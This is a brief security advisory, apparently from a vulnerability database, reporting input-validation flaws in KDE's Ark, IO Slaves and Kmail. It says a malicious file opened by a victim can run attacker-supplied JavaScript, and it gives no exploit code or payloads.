KDE is prone to multiple input-validation vulnerabilities that affect 'Ark', 'IO Slaves', and 'Kmail'.

An attacker can exploit these issues by tricking an unsuspecting victim into opening a malicious file. A successful attack will allow arbitrary attacker-supplied JavaScript to run in the context of the victim running the affected application.
